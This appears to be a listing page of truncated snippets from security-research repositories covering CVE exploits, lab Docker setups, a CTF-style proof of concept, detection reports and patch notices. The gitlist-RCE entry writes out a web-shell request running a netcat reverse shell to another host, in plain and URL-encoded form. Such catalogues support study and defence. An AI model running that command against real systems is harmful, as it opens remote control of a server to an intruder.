CVE-2016-5734-docker

CVE-2016-5734-docker Vulnerabilidad de ejecución remota de código en PhpMyAdmin 4.0.x—4.6.2 CVE-2016-5734 Configuración root@kitploit: git clone https://github.com/miko550/CVE-2016-5734-docker.git cd CVE-2016-5734-docker docker compose up hhtp://localhost:8083 Exploit root@kitploit: python3...

OnlyOffice-path-traversal

ONLYOFFICE Path Traversal Exploit CVE-2023-46988 📌 Overview This script exploits a path traversal vulnerability in ONLYOFFICE Document Server CVE-2023-46988 that allows unauthorized users to copy arbitrary files from the server. The vulnerability exists in the /example/editor endpoint, where the...

CVE-2014-3566-poodle-cookbook

CVE-2014-3566-poodle Este cookbook lanzará un error en tu ejecución de chef si tu servidor es vulnerable a CVE-2014-3566. Aunque este cookbook puede usarse para monitorear ejecuciones fallidas de chef, también es una prueba de concepto. Plataformas soportadas Ubuntu 12.04 Centos-6.4 Atributos...

cve-2021-42013L

cve-2021-42013 Apache 2.4.50 Vulnerabilidad de recorrido de rutas Síguenos Youtube Twitter Telegram Vulnmachines.com...

CVE-2025-29927

CVE-2025-29927 - Next.js Middleware Authorization Bypass PoC This is a Capture The Flag CTF styled Proof of Concept for the Next.js Middleware Authorization Bypass vulnerability CVE-2025-29927. The goal is to bypass the auth middleware and retrieve the flag from the /protected route. Vulnerabilit...

Dirty-Frag-CVE-2026-43284

DirtyFrag CVE-2026-43284 - Informe del Ejercicio de Detección en Laboratorio Clasificación: Laboratorio Interno - CyberLAB Fecha: 24 de mayo de 2026 Plataforma: Elastic Stack v9.4.1 Estado: Detección Confirmada Índice de Contenidos A - Resumen Ejecutivo B - Informe Completo de Hallazgos 1...

apache-struts-cve-2017-5638-project

apache-struts-cve-2017-5638-project Proyecto del curso de Ataque y Defensa centrado en el análisis, explotación y mitigación de CVE-2017-5638...

gitlist-RCE

gitlist-RCE CVE-2014-4511 ejemplo: after shell upload successfully: access: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2014-160

Exploit de CVE-2014-160 Úsalo así: ./cve-2014-160 dvwa.local https && strings datadump.bin...

CVE-2025-40536-Analysis

CVE-2025-40536-Analysis victoriaalicex.github.io linearregressiontaxi.ipynb linearregressiontaxi.ipynb...

ROOT-APP-GOBINARY-CVE-2026-43871 CVE-2026-43871 in github.com/apache/thrift - Patched by Root

Root has patched CVE-2026-43871 in the github.com/apache/thrift package for Root:Go. Multiple fixed versions available...

ROOT-APP-MAVEN-CVE-2026-41720 CVE-2026-41720 in org.springframework.ldap:spring-ldap-core - Patched by Root

Root has patched CVE-2026-41720 in the org.springframework.ldap:spring-ldap-core package for Root:Maven. Multiple fixed versions available...

sickrageWTF

Credenciales de GitHub en texto claro en Sickrage CVE-2018-9160 1. Acerca de Título del Exploit: Credenciales en texto claro en la respuesta HTTP de SickRage Fecha: 2018-04-01 Autor del Exploit: Sven Fassbender Contacto: https://twitter.com/mezdanak Página del proveedor: https://sickrage.github.i...

docker-cve-2018-15473

Docker CVE-2018-15473 Un docker sencillo para probar herramientas de pentest contra CVE-2018-15473 root@kitploit: docker-compose build docker-compose up...

ChExp-CVE-2022-0337-

Este repositorio no tiene un README...

zerologon

zerologon Check for events that indicate non compatible devices - CVE-2020-1472 EventID 5827 EventID 5828 EventID 5829 EventID 5830 EventID 5831 In August Microsoft patched CVE-2020-1472. With that patch theres a waiting period until 9th of february 2021 where unsecure connections will be accepte...

CVE-2026-53075poc

CVE-2026-53075poc POC de CVE-2026-53075...

Security Bulletin: IBM DB2 Developer extension is affected via vulnerability in spring-web(CVE-2026-22740)

Summary IBM DB2 Developer extension is affected via vulnerability in spring-webCVE-2026-22740 Vulnerability Details CVEID:CVE-2026-22740 DESCRIPTION: A WebFlux server application that processes multipart requests creates temp files for parts larger than 10 K. Under some circumstances, temp files...

CVE-2017-7269-Echo-PoC

CVE-2017-7269 Remote Code Execution Echo Verification Our team's analysis report on the CVE-2017-7269 vulnerability: https://ht-sec.org/cve-2017-7269-vulnerabilities/ The default PoC only launches calc.exe. Now it has been modified to respond to requests. The command format is:...

aisecplus-week01-danielossai

🔐 AISec Plus — Semana 1: Mapa de la Amenaza Investigador: Daniel Ossai Repositorio: aisecplus-week01-danielossai Entregado: Semana 1 · AISec Plus Bootcamp 📌 Nombre del Incidente y Fecha EchoLeak CVE-2025-32711 Descubierto: Enero 2025 · Divulgado: Junio 2025 · Parcheado: Junio 2025 📝 ¿Qué Sucedió?...